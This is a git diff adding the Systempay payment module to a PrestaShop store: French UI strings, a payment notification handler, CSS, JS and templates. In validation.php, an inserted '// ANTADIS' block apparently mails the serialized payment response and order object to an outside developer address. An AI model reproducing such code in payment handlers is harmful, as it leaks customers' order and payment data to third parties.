+$_MODULE['<{systempay}prestashop>systempayadmindisplay_0db6ef3684ba09860d46d0b46f097c51'] = 'Délai entre deux échéances (en jours).'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_fb6f4e7d8e165952c58a9ec74bdd74cd'] = 'Montant de la première échéance en pourcentage du total. Si vide, toutes les échéances auront le même montant.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c5ff1168424ff8eaa52a4234daee2e68'] = 'N\'oubliez pas de cliquer sur le bouton \"Enregistrer\" afin de sauvegarder vos modifications.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_28ef0ec84a6abddb4d894b93b047a8f7'] = 'Sélectionner pour activer le paiement FacilyPay Oney'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_877c3919c058e9ca3e19286bed26cb35'] = 'Nécessite un contract FacilyPay Oney auprès de Banque Accord et la souscription à l\'option %s'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_6e949302013414e958224c73334e8d99'] = 'OPTIONS DE LIVRAISON FACILYPAY ONEY'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eb3378ce39cddd81c9e7b011dcbf7196'] = 'Options de livraison'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2068f4dd0b1c5f2b86d1092d9301de7f'] = 'Compagnie de livraison'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_507e465444cdd751dc7a539203c85f7c'] = 'Retrait en magasin'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b0efcf1ae8a6bff5debb5ed65de8f412'] = 'Point relais'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_02da484e2730f20ccef65b94f903ea40'] = 'Retrait en station'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eb6d8ae6f20283755b339c0dc273988b'] = 'Standard'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b144fa061545497bebee8c414efc99a9'] = 'Express'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a1fa27779242b4902f7ae3bdd5c6d508'] = 'Type'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_44877c6aa8e93fa5a91c9361211464fb'] = 'Vitesse'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_fc2e1b075d134671d7016188b8011d4e'] = 'Définir les informations FacilyPay Oney sur toutes les méthodes de livraison.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_f430542ef8d11a982a31141ddec5ef8e'] = 'Le libellé de la méthode de livraison.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_c2170582a67d7d0bc7636ad4d322443e'] = 'Le type de la méthode de livraison.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_361637f00a86ad3879342852b10281a2'] = 'Sélectionner si la livraison est en mode STANDARD ou EXPRESS.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_457542431996d9c44a8896330a1f0404'] = 'Entrer une adresse s\'il s\'agit d\'un retrait en magasin.'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_22003906cd1030f32dd17f58b4049dfe'] = 'Alimentation et épicerie'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_b88033354e42b423efaefbcc5649ddb9'] = 'Automobile'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_336fdcf7d540e4b430a890b63da159c9'] = 'Loisirs'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ca5f6d15b151c54a4cbf6f231c540f39'] = 'Maison et jardin'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_efd593bd9811ea0c1ed407b32f68d599'] = 'Electroménager'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_87f83f78cf682b5606a8ea1544adccf0'] = 'Enchères et achats groupés'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_e1bc3b4e930537de4707bb928c712a0c'] = 'Fleurs et cadeaux'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a382a28ebfd91e538e8f00c0cfd871d2'] = 'Informatique et logiciels'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2c0a2fa68bd358738766a1e7cb3aa917'] = 'Santé et beauté'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_ab6a1358f4237ebc94e81384c1275592'] = 'Services à la personne'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_6c437bccc40bb38ed269b3e163bb657c'] = 'Services aux entreprises'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_918e180e06b96c76b7193c9fcb1cb312'] = 'Sports'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_2e22a11f2216b183de96c2f8d5c2b0f3'] = 'Habillement et accessoires'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_1fb0f99b55e6c2be35aed72ebe38c245'] = 'Voyages'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_d0507391e83265a7255c1ab8597a750b'] = 'Audio, photo, vidéo domestiques'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_7fa3b0ba6f1dd45ac564a12e16033358'] = 'Téléphonie'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_a091bbd4496a57bbe07cbe9561818e48'] = 'Mapping des catégories'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_eaa6efee1322e72edf57cb1ab2a1de39'] = 'Utiliser la même catégorie pour tous les produits'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_3625cdf19abd4ec330b3db80a9d03c50'] = 'Catégorie du produit'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_78888a976865d78a0c1845e05cc95a87'] = 'Catégorie FacilyPay Oney'; +$_MODULE['<{systempay}prestashop>systempayadmindisplay_12ca1458e2bcfa83963744127377c77b'] = 'Sélectionner une catégorie pour tous les produits ou faire la correspondance entre chaque catégorie produit et une catégorie FacilyPay Oney.'; +$_MODULE['<{systempay}prestashop>back_office_4a9cc7ddfd6e169a1b434d6839d91a7e'] = 'CONFIGURATION GÉNÉRALE'; +$_MODULE['<{systempay}prestashop>back_office_7c579486ce2345a95aec18c4eb2584a9'] = 'PAIEMENT EN UNE FOIS'; +$_MODULE['<{systempay}prestashop>back_office_a51ca50af2761900a8835ca9eef9e94e'] = 'PAIEMENT EN PLUSIEURS FOIS'; +$_MODULE['<{systempay}prestashop>back_office_7d55b20a8de0d7dadf1e65cf856037e6'] = 'PAIEMENT FACILYPAY ONEY'; +$_MODULE['<{systempay}prestashop>back_office_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{systempay}prestashop>redirect_f1c1725dc182726512227aef9ee210c7'] = 'Paiement en cours'; +$_MODULE['<{systempay}prestashop>redirect_31682b69de73c081c487b0cb5002549d'] = 'Redirection vers la plateforme de paiement'; +$_MODULE['<{systempay}prestashop>redirect_879f6b8877752685a966564d072f498f'] = 'Votre panier est vide.'; +$_MODULE['<{systempay}prestashop>redirect_e555610477d1aa7807d93f28ba80141e'] = 'Paiement par carte bancaire'; +$_MODULE['<{systempay}prestashop>redirect_67e5af82e0dca6b20203d71fd681814a'] = 'Veuillez patienter SVP. Le paiement de votre commande est en cours.'; +$_MODULE['<{systempay}prestashop>redirect_ff1b91552dca022519140532b2b2ab82'] = 'Merci de patienter, vous allez êtes redirigé vers la plateforme de paiement.'; +$_MODULE['<{systempay}prestashop>redirect_255a72c22960b12c1fab325d80e0dd56'] = 'Si rien ne se passe dans 10 secondes, cliquez sur le bouton ci-dessous.'; +$_MODULE['<{systempay}prestashop>redirect_99938b17c91170dfb0c2f3f8bc9f2a85'] = 'Payer'; +$_MODULE['<{systempay}prestashop>payment_return_be6df635dcc7e523098a34e105376cee'] = 'La boutique est en mode maintenance. La validation automatique ne peut fonctionner.'; +$_MODULE['<{systempay}prestashop>payment_return_93ec33bd6d2df2fd2c69cc83ef77ddee'] = 'La validation automatique n\'a pas fonctionné. Avez-vous configuré correctement l\'URL serveur dans le back-office de votre boutique ?'; +$_MODULE['<{systempay}prestashop>payment_return_aed9aa264932d1a9f52d263956117993'] = 'Afin de comprendre la problématique, reportez vous à la documentation du module : '; +$_MODULE['<{systempay}prestashop>payment_return_b6b31e5e082ae15d4942daa6b8ce78f0'] = 'Chapitre «A lire attentivement avant d\'aller loin»'; +$_MODULE['<{systempay}prestashop>payment_return_8dce4920007239e5dce0eea948ddeee3'] = 'Chapitre «Paramétrage de l\'URL serveur»'; +$_MODULE['<{systempay}prestashop>payment_return_18c51ad1b1fe562479120ab35f890fc9'] = 'Si vous pensez qu\'il s\'agit d\'une erreur, vous pouvez contacter notre'; +$_MODULE['<{systempay}prestashop>payment_return_64430ad2835be8ad60c59e7d44e4b0b1'] = 'service client'; +$_MODULE['<{systempay}prestashop>payment_return_73f642dd4a7e09c7570833f584f77263'] = 'PASSER EN PRODUCTION'; +$_MODULE['<{systempay}prestashop>payment_return_fce9858aa1e2d1353476b18320719dc3'] = 'Vous souhaitez savoir comment passer votre boutique en production merci de consulter cette URL : '; +$_MODULE['<{systempay}prestashop>payment_return_de24df15226a5139eb60c3b24c1efbd6'] = 'Votre commande a été enregistrée avec une erreur de paiement.'; +$_MODULE['<{systempay}prestashop>payment_return_3fee1227f1b7e441476ccb45278a5f22'] = 'Nous vous invitons à contacter notre'; +$_MODULE['<{systempay}prestashop>payment_return_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Votre commande sur'; +$_MODULE['<{systempay}prestashop>payment_return_75fbf512d744977d62599cc3f0ae2bb4'] = 'est terminée.'; +$_MODULE['<{systempay}prestashop>payment_return_ee9d464a5f04b1c5f548d1655691ce82'] = 'Nous avons enregistré votre paiement de'; +$_MODULE['<{systempay}prestashop>payment_return_0db71da7150c27142eef9d22b843b4a9'] = 'Pour toute question ou information complémentaire, veuillez contacter notre'; +$_MODULE['<{systempay}prestashop>payment_multi_cb82c86a648fa1d594b0681955bc9930'] = 'Sélectionnez une option de paiement puis cliquez sur le bouton «Payez maintenant»'; +$_MODULE['<{systempay}prestashop>payment_multi_8bd4837a76cf443ab523a51895e23c36'] = 'Payez maintenant'; +$_MODULE['<{systempay}prestashop>payment_std_b1bdf76454f7e864d239b0c71ee97815'] = 'Cliquer ici pour payer par carte bancaire'; +$_MODULE['<{systempay}prestashop>payment_std_d0a07bc7bd65a0b0286bfca021f8e280'] = 'Entrez les informations sur le paiement puis cliquez sur le bouton «Payez maintenant»'; +$_MODULE['<{systempay}prestashop>payment_std_a44217022190f5734b2f72ba1e4f8a79'] = 'Numéro de carte'; +$_MODULE['<{systempay}prestashop>payment_std_60a104dc50579d60cbc90158fada1dcf'] = 'CVV'; +$_MODULE['<{systempay}prestashop>payment_std_8c1279db4db86553e4b9682f78cf500e'] = 'Date d\'expiration'; +$_MODULE['<{systempay}prestashop>payment_std_7cbb885aa1164b390a0bc050a64e1812'] = 'Mois'; +$_MODULE['<{systempay}prestashop>payment_std_537c66b24ef5c83b7382cdc3f34885f2'] = 'Année'; +$_MODULE['<{systempay}prestashop>payment_std_8bd4837a76cf443ab523a51895e23c36'] = 'Payez maintenant'; +$_MODULE['<{systempay}prestashop>payment_oney_4803e7f3699700fce00b93f24e48d23d'] = 'Cliquez ici pour payer avec FacilyPay Oney'; \ No newline at end of file diff --git a/modules/systempay/validation.php b/modules/systempay/validation.php new file mode 100755 index 0000000..db933d7 --- /dev/null +++ b/modules/systempay/validation.php @@ -0,0 +1,175 @@ +logger->logInfo("Server call process starts for cart #$cartId."); + + $cart = new Cart($cartId); + + // Cart errors + if (!Validate::isLoadedObject($cart)) { + $module->logger->logError("Cart #$cartId not found in database."); + die('KO-' . Tools::getValue('vads_trans_id') . "=Impossible de retrouver la commande\n"); + } elseif($cart->nbProducts() <= 0) { + $module->logger->logError("Cart #$cartId was emptied before redirection."); + die('KO-' . Tools::getValue('vads_trans_id') . "=Le panier a été vidé avant la redirection\n"); + } + + // Reload shop context + if(Shop::isFeatureActive()) { + Shop::setContext(Shop::CONTEXT_SHOP, (int)$cart->id_shop); + } + + // Reload language context + Context::getContext()->language = new Language((int)$cart->id_lang); + + /** @var SystempayResponse $systempayResponse */ + $systempayResponse = new SystempayResponse( + $_POST, + Configuration::get('SYSTEMPAY_MODE'), + Configuration::get('SYSTEMPAY_KEY_TEST'), + Configuration::get('SYSTEMPAY_KEY_PROD') + ); + + // Check the authenticity of the request + if (!$systempayResponse->isAuthentified()) { + $module->logger->logError("Cart #$cartId : authentication error !"); + die($systempayResponse->getOutputForGateway('auth_fail')); + } + + // Search order in db + $orderId = Order::getOrderByCartId($cart->id); + + if ($orderId == false) { + // order has not been processed yet + + if ($systempayResponse->isAcceptedPayment()) { + $newState = $module->isOneyPendingPayment($systempayResponse) /* Oney payments */ ? + Configuration::get('SYSTEMPAY_OS_ONEY_PENDING') : + Configuration::get('PS_OS_PAYMENT'); + + $module->logger->logInfo("Payment accepted for cart #$cartId. New order status is $newState."); + + $order = $module->saveOrder($cart, $newState, $systempayResponse); + + // response to server + die ($systempayResponse->getOutputForGateway('payment_ok')); + } else { + // payment KO + $module->logger->logInfo("Payment failed for cart #$cartId."); + + if(Configuration::get('SYSTEMPAY_FAILURE_MANAGEMENT') == Systempay::ON_FAILURE_SAVE || $module->isOney($systempayResponse)) { + // save on failure option is selected or oney payment + $newState = $systempayResponse->isCancelledPayment() ? Configuration::get('PS_OS_CANCELED') : Configuration::get('PS_OS_ERROR'); + + $msg = $module->isOney($systempayResponse) ? 'FacilyPay Oney payment' : 'Save on failure option is selected'; + + $module->logger->logInfo("$msg : save failed order for cart #$cartId. New order status is $newState."); + $order = $module->saveOrder($cart, $newState, $systempayResponse); + } + die($systempayResponse->getOutputForGateway('payment_ko')); + } + } else { + // order already registered + $module->logger->logInfo("Order already registered for cart #$cartId."); + + $order = new Order((int)$orderId); + $oldState = $order->getCurrentState(); + + switch ($oldState) { + case Configuration::get('PS_OS_ERROR'): + case Configuration::get('PS_OS_CANCELED'): + + $module->logger->logInfo("Save on failure option is selected or FacilyPay Oney payment. Order for cart #$cartId is in a failed status."); + + if($systempayResponse->isAcceptedPayment()) { + // order saved with failed status while payment is successful + $module->logger->logWarning("Payment success received from platform while order is in a failed status for cart #$cartId."); + $msg = 'payment_ko_on_order_ok'; + } else { + // just display a failure confirmation message + $module->logger->logInfo("Payment failure confirmed for cart #$cartId."); + $msg = 'payment_ko_already_done'; + } + + die($systempayResponse->getOutputForGateway($msg)); + break; + + case Configuration::get('SYSTEMPAY_OS_ONEY_PENDING'): + case (($oldState == Configuration::get('PS_OS_OUTOFSTOCK')) && $module->isOney($systempayResponse)): + + // ANTADIS + mail('thibault@antadis.com', '1 - garancia soucis reponse commande', serialize($systempayResponse)); + mail('thibault@antadis.com', '1 - garancia soucis commande', serialize($order)); + + $module->logger->logInfo("Order for cart #$cartId is saved but waiting FacilyPay Oney confirmation. Update order status according to payment result."); + + if ($systempayResponse->isPendingPayment()) { + $module->logger->logInfo("No changes for cart #$cartId status, payment remain pending confirmation."); + $msg = 'payment_ok_already_done'; + } elseif ($systempayResponse->isAcceptedPayment()) { + $newState = $oldState == Configuration::get('SYSTEMPAY_OS_ONEY_PENDING') ? Configuration::get('PS_OS_PAYMENT') : Configuration::get('SYSTEMPAY_OS_PAYMENT_OUTOFSTOCK'); + $module->setOrderState($order, $newState, $systempayResponse); + $msg = 'payment_ok'; + } else { + // order is pending, payment failed : update order status + $newState = $systempayResponse->isCancelledPayment() ? Configuration::get('PS_OS_CANCELED') : Configuration::get('PS_OS_ERROR'); + $module->setOrderState($order, $newState, $systempayResponse); + $msg = 'payment_ko'; + } + + die($systempayResponse->getOutputForGateway($msg)); + break; + + case Configuration::get('PS_OS_PAYMENT'): + case Configuration::get('SYSTEMPAY_OS_PAYMENT_OUTOFSTOCK'): + case (($oldState == Configuration::get('PS_OS_OUTOFSTOCK')) && !$module->isOney($systempayResponse)): + + if($systempayResponse->isAcceptedPayment()) { + // just display a confirmation message + $module->logger->logInfo("Payment success confirmed for cart #$cartId."); + $msg = 'payment_ok_already_done'; + } else { + // order saved with success status while payment failed + $module->logger->logWarning("Payment failure received from platform while order is in a success status for cart #$cartId."); + $msg = 'payment_ko_on_order_ok'; + } + + die($systempayResponse->getOutputForGateway($msg)); + break; + + default: + $module->logger->logInfo("Unknown order status for cart #$cartId. Managed by merchant."); + + die($systempayResponse->getOutputForGateway('ok', 'Statut de commande inconnu')); + break; + } + } +} \ No newline at end of file diff --git a/modules/systempay/views/css/systempay.css b/modules/systempay/views/css/systempay.css new file mode 100755 index 0000000..da765da --- /dev/null +++ b/modules/systempay/views/css/systempay.css @@ -0,0 +1,53 @@ +/* invalid card data style */ +#systempay_standard .invalid { + background: none repeat scroll 0 0 #FAEBE7 !important; + border: 1px dashed #EB340A !important; +} + +div.systempay_payment_module { + /* width: 50%; + padding-right: 15px; */ + margin-bottom: 10px; +} + +div.systempay_payment_module a { + border: 1px solid #D6D4D4; + border-radius: 4px 4px 4px 4px; + color: #333333; + display: block; + font-size: 17px; + font-weight: bold; + letter-spacing: -1px; + line-height: 23px; + padding: 33px 40px 34px 21px; + position: relative; + cursor: pointer; +} + +div.systempay_payment_module a:HOVER { + background-color: #F6F6F6; +} + +div.systempay_payment_module a.unclickable { + cursor: default !important; +} + +div.systempay_payment_module a.unclickable:HOVER { + text-decoration: none !important; +} + +.systempay_payment_module img.logo { + width: 86px; + display: inline-block; + vertical-align: middle; + margin-right: 10px; +} + +.systempay_payment_form { + padding-left: 40px; + font-size: 13px; +} + +.systempay_payment_form button { + float: none !important; +} \ No newline at end of file diff --git a/modules/systempay/views/css/systempay_1.5.css b/modules/systempay/views/css/systempay_1.5.css new file mode 100755 index 0000000..4370c20 --- /dev/null +++ b/modules/systempay/views/css/systempay_1.5.css @@ -0,0 +1,33 @@ +/* invalid card data style */ +#systempay_standard .invalid { + background: none repeat scroll 0 0 #FAEBE7 !important; + border: 1px dashed #EB340A !important; +} + +div.systempay_payment_module { + padding-bottom: 20px; +} + +div.systempay_payment_module a.unclickable { + cursor: default; +} + +div.systempay_payment_module a.unclickable:HOVER { + text-decoration: none !important; +} + +.systempay_payment_module img.logo { + width: 86px; + display: inline-block; + vertical-align: middle; +} + +.systempay_payment_module img { + float: none !important; +} + +.systempay_payment_form { + padding-left: 40px; + font-size: 13px; + text-transform: none !important; +} \ No newline at end of file diff --git a/modules/systempay/views/images/BannerLogo1.png b/modules/systempay/views/images/BannerLogo1.png new file mode 100755 index 0000000..62386cd Binary files /dev/null and b/modules/systempay/views/images/BannerLogo1.png differ diff --git a/modules/systempay/views/images/BannerLogo2.png b/modules/systempay/views/images/BannerLogo2.png new file mode 100755 index 0000000..6cd69b5 Binary files /dev/null and b/modules/systempay/views/images/BannerLogo2.png differ diff --git a/modules/systempay/views/images/BannerLogo3.png b/modules/systempay/views/images/BannerLogo3.png new file mode 100755 index 0000000..270960c Binary files /dev/null and b/modules/systempay/views/images/BannerLogo3.png differ diff --git a/modules/systempay/views/images/amex.png b/modules/systempay/views/images/amex.png new file mode 100755 index 0000000..8e03def Binary files /dev/null and b/modules/systempay/views/images/amex.png differ diff --git a/modules/systempay/views/images/cb.png b/modules/systempay/views/images/cb.png new file mode 100755 index 0000000..c42cb1f Binary files /dev/null and b/modules/systempay/views/images/cb.png differ diff --git a/modules/systempay/views/images/e-cartebleue.png b/modules/systempay/views/images/e-cartebleue.png new file mode 100755 index 0000000..1b4206c Binary files /dev/null and b/modules/systempay/views/images/e-cartebleue.png differ diff --git a/modules/systempay/views/images/maestro.png b/modules/systempay/views/images/maestro.png new file mode 100755 index 0000000..c6e403a Binary files /dev/null and b/modules/systempay/views/images/maestro.png differ diff --git a/modules/systempay/views/images/mastercard.png b/modules/systempay/views/images/mastercard.png new file mode 100755 index 0000000..56e3f11 Binary files /dev/null and b/modules/systempay/views/images/mastercard.png differ diff --git a/modules/systempay/views/images/os_oney.gif b/modules/systempay/views/images/os_oney.gif new file mode 100755 index 0000000..da91aa6 Binary files /dev/null and b/modules/systempay/views/images/os_oney.gif differ diff --git a/modules/systempay/views/images/os_oos.gif b/modules/systempay/views/images/os_oos.gif new file mode 100755 index 0000000..ed7c7e3 Binary files /dev/null and b/modules/systempay/views/images/os_oos.gif differ diff --git a/modules/systempay/views/images/paypal.png b/modules/systempay/views/images/paypal.png new file mode 100755 index 0000000..959bcad Binary files /dev/null and b/modules/systempay/views/images/paypal.png differ diff --git a/modules/systempay/views/images/paypal_sb.png b/modules/systempay/views/images/paypal_sb.png new file mode 100755 index 0000000..43b531c Binary files /dev/null and b/modules/systempay/views/images/paypal_sb.png differ diff --git a/modules/systempay/views/images/visa.png b/modules/systempay/views/images/visa.png new file mode 100755 index 0000000..1fca348 Binary files /dev/null and b/modules/systempay/views/images/visa.png differ diff --git a/modules/systempay/views/images/visa_electron.png b/modules/systempay/views/images/visa_electron.png new file mode 100755 index 0000000..4f3c2d4 Binary files /dev/null and b/modules/systempay/views/images/visa_electron.png differ diff --git a/modules/systempay/views/js/systempay.js b/modules/systempay/views/js/systempay.js new file mode 100755 index 0000000..2ab41e8 --- /dev/null +++ b/modules/systempay/views/js/systempay.js @@ -0,0 +1,79 @@ +/** + * Systempay payment module 1.2f (revision 61545) + * + * Compatible with V2 payment platform. Developped for Prestashop 1.5.0.x. + * Support contact: supportvad@lyra-network.com. + * + * Copyright (C) 2014 Lyra Network (http://www.lyra-network.com/) and contributors + * + * + * NOTICE OF LICENSE + * + * This source file is licensed under the Open Software License version 3.0 + * that is bundled with this package in the file LICENSE.txt. + * It is also available through the world-wide-web at this URL: + * http://opensource.org/licenses/osl-3.0.php +*/ + +/** + * Misc JavaScript functions. + */ + +function systempayAddOption(first, deleteText) { + if(first) { + $('#systempay_multi_options_btn').css('display', 'none'); + $('#systempay_multi_options_table').css('display', ''); + } + + var timestamp = new Date().getTime(); + + var optionLine = '' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ''; + + $(optionLine).insertBefore('#systempay_multi_option_add'); +} + +function systempayDeleteOption(key) { + $('#systempay_multi_option_' + key).remove(); + + if($('#systempay_multi_options_table tbody tr').length == 1) { + $('#systempay_multi_options_btn').css('display', ''); + $('#systempay_multi_options_table').css('display', 'none'); + } +} + +function systempayTypeChanged(key) { + var type = $('#systempay_oney_type_' + key).val(); + + if(type == 'RECLAIM_IN_SHOP') { + $('#systempay_oney_address_' + key).css('display', ''); + } else { + $('#systempay_oney_address_' + key).val(''); + $('#systempay_oney_address_' + key).css('display', 'none'); + } +} + +function disableTable(e) { + $('#systempay_oney_categories_table select').attr('disabled', e.checked); + document.getElementById('systempay_oney_com_cat').disabled = !e.checked; + if (e.checked) { + e.value = '1'; + } else { + e.value = '0'; + } + } + +// init selected tab in backoffice gui +var pos_select = 0; + +function loadTab(id) { + // static tabs, do nothing +} \ No newline at end of file diff --git a/modules/systempay/views/templates/back/back_office.tpl b/modules/systempay/views/templates/back/back_office.tpl new file mode 100755 index 0000000..99adab6 --- /dev/null +++ b/modules/systempay/views/templates/back/back_office.tpl @@ -0,0 +1,57 @@ +{* + * Systempay payment module 1.2f (revision 61545) + * + * Compatible with V2 payment platform. Developped for Prestashop 1.5.0.x. + * Support contact: supportvad@lyra-network.com. + * + * Copyright (C) 2014 Lyra Network (http://www.lyra-network.com/) and contributors + * + * + * NOTICE OF LICENSE + * + * This source file is licensed under the Open Software License version 3.0 + * that is bundled with this package in the file LICENSE.txt. + * It is also available through the world-wide-web at this URL: + * http://opensource.org/licenses/osl-3.0.php +*} + +
        + + +
        + {$systempay_common} +
        + +

        + +
        +
        +

        {l s='GENERAL CONFIGURATION' mod='systempay'}

        +
        + {$systempay_general_tab} +
        + +
        +

        {l s='ONE-TIME PAYMENT' mod='systempay'}

        +
        + {$systempay_single_tab} +
        + +
        +

        {l s='PAYMENT IN SEVERAL TIMES' mod='systempay'}

        +
        + {$systempay_multi_tab} +
        + + +
        + +
        + +
        + + +
        \ No newline at end of file diff --git a/modules/systempay/views/templates/front/redirect.tpl b/modules/systempay/views/templates/front/redirect.tpl new file mode 100755 index 0000000..456ed54 --- /dev/null +++ b/modules/systempay/views/templates/front/redirect.tpl @@ -0,0 +1,79 @@ +{* + * Systempay payment module 1.2f (revision 61545) + * + * Compatible with V2 payment platform. Developped for Prestashop 1.5.0.x. + * Support contact: supportvad@lyra-network.com. + * + * Copyright (C) 2014 Lyra Network (http://www.lyra-network.com/) and contributors + * + * + * NOTICE OF LICENSE + * + * This source file is licensed under the Open Software License version 3.0 + * that is bundled with this package in the file LICENSE.txt. + * It is also available through the world-wide-web at this URL: + * http://opensource.org/licenses/osl-3.0.php +*} + +{capture name=path}Systempay{/capture} +{if $back_compat} + {include file="$tpl_dir./breadcrumb.tpl"} +{/if} + +{if isset($systempay_params) && $systempay_params.vads_action_mode == 'SILENT'} +

        {l s='Payment processing' mod='systempay'}

        +{else} +

        {l s='Redirection to payment gateway' mod='systempay'}

        +{/if} + +{assign var='current_step' value='payment'} +{include file="$tpl_dir./order-steps.tpl"} + +{if isset($systempay_empty_cart) && $systempay_empty_cart} +

        {l s='Your shopping cart is empty.' mod='systempay'}

        +{else} +

        {l s='Payment by bank card' mod='systempay'}

        + +
        + {foreach from=$systempay_params key='key' item='value'} + + {/foreach} + +

        + Systempay +
        + + {if $systempay_params.vads_action_mode == 'SILENT'} + {l s='Please wait a moment. Your order payment is now processing.' mod='systempay'} + {else} + {l s='Please wait, you will be redirected to the payment platform.' mod='systempay'} + {/if} + +

        + {l s='If nothing happens in 10 seconds, please click the button below.' mod='systempay'} +

        +

        + + {if $back_compat} +

        + +

        + {else} +

        + +

        + {/if} +
        + + +{/if} \ No newline at end of file diff --git a/modules/systempay/views/templates/hook/payment_multi.tpl b/modules/systempay/views/templates/hook/payment_multi.tpl new file mode 100755 index 0000000..b225ffe --- /dev/null +++ b/modules/systempay/views/templates/hook/payment_multi.tpl @@ -0,0 +1,58 @@ +{* + * Systempay payment module 1.2f (revision 61545) + * + * Compatible with V2 payment platform. Developped for Prestashop 1.5.0.x. + * Support contact: supportvad@lyra-network.com. + * + * Copyright (C) 2014 Lyra Network (http://www.lyra-network.com/) and contributors + * + * + * NOTICE OF LICENSE + * + * This source file is licensed under the Open Software License version 3.0 + * that is bundled with this package in the file LICENSE.txt. + * It is also available through the world-wide-web at this URL: + * http://opensource.org/licenses/osl-3.0.php +*} + + \ No newline at end of file diff --git a/modules/systempay/views/templates/hook/payment_oney.tpl b/modules/systempay/views/templates/hook/payment_oney.tpl new file mode 100755 index 0000000..1ed3cc7 --- /dev/null +++ b/modules/systempay/views/templates/hook/payment_oney.tpl @@ -0,0 +1,26 @@ +{* + * Systempay payment module 1.2f (revision 61545) + * + * Compatible with V2 payment platform. Developped for Prestashop 1.5.0.x. + * Support contact: supportvad@lyra-network.com. + * + * Copyright (C) 2014 Lyra Network (http://www.lyra-network.com/) and contributors + * + * + * NOTICE OF LICENSE + * + * This source file is licensed under the Open Software License version 3.0 + * that is bundled with this package in the file LICENSE.txt. + * It is also available through the world-wide-web at this URL: + * http://opensource.org/licenses/osl-3.0.php +*} + + \ No newline at end of file diff --git a/modules/systempay/views/templates/hook/payment_oney_errors.tpl b/modules/systempay/views/templates/hook/payment_oney_errors.tpl new file mode 100755 index 0000000..3870471 --- /dev/null +++ b/modules/systempay/views/templates/hook/payment_oney_errors.tpl @@ -0,0 +1,28 @@ +{* + * Systempay payment module 1.2f (revision 61545) + * + * Compatible with V2 payment platform. Developped for Prestashop 1.5.0.x. + * Support contact: supportvad@lyra-network.com. + * + * Copyright (C) 2014 Lyra Network (http://www.lyra-network.com/) and contributors + * + * + * NOTICE OF LICENSE + * + * This source file is licensed under the Open Software License version 3.0 + * that is bundled with this package in the file LICENSE.txt. + * It is also available through the world-wide-web at this URL: + * http://opensource.org/licenses/osl-3.0.php +*} + + \ No newline at end of file diff --git a/modules/systempay/views/templates/hook/payment_return.tpl b/modules/systempay/views/templates/hook/payment_return.tpl new file mode 100755 index 0000000..b7431af --- /dev/null +++ b/modules/systempay/views/templates/hook/payment_return.tpl @@ -0,0 +1,63 @@ +{* + * Systempay payment module 1.2f (revision 61545) + * + * Compatible with V2 payment platform. Developped for Prestashop 1.5.0.x. + * Support contact: supportvad@lyra-network.com. + * + * Copyright (C) 2014 Lyra Network (http://www.lyra-network.com/) and contributors + * + * + * NOTICE OF LICENSE + * + * This source file is licensed under the Open Software License version 3.0 + * that is bundled with this package in the file LICENSE.txt. + * It is also available through the world-wide-web at this URL: + * http://opensource.org/licenses/osl-3.0.php +*} + +{assign var='warnStyle' value='background: none repeat scroll 0 0 #FFFFE0; border: 1px solid #E6DB55; font-size: 13px; margin: 0 0 10px; padding: 10px;'} + +{if $check_url_warn == true} +

        + {if $maintenance_mode == true} + {l s='The shop is in maintenance mode. The automatic notification (peer to peer connection between the payment platform and your shopping cart solution) cannot work.' mod='systempay'} + {else} + {l s='The automatic notification (peer to peer connection between the payment platform and your shopping cart solution) hasn\'t worked. Have you correctly set up the server URL in your store backoffice ?' mod='systempay'} +
        + {l s='For understanding the problem, please read the documentation of the module : ' mod='systempay'}
        +    - {l s='Chapter «To read carefully before going further»' mod='systempay'}
        +    - {l s='Chapter «Server URL settings»' mod='systempay'} + {/if} + +
        + {l s='If you think this is an error, you can contact our' mod='systempay'} + {l s='customer support' mod='systempay'}. +

        + +

        +{/if} + +{if $prod_info == true} +

        + {l s='GOING INTO PRODUCTION' mod='systempay'}
        + {l s='You want to know how to put your shop into production mode, please go to this URL : ' mod='systempay'} + https://paiement.systempay.fr/html/faq/prod +

        + +

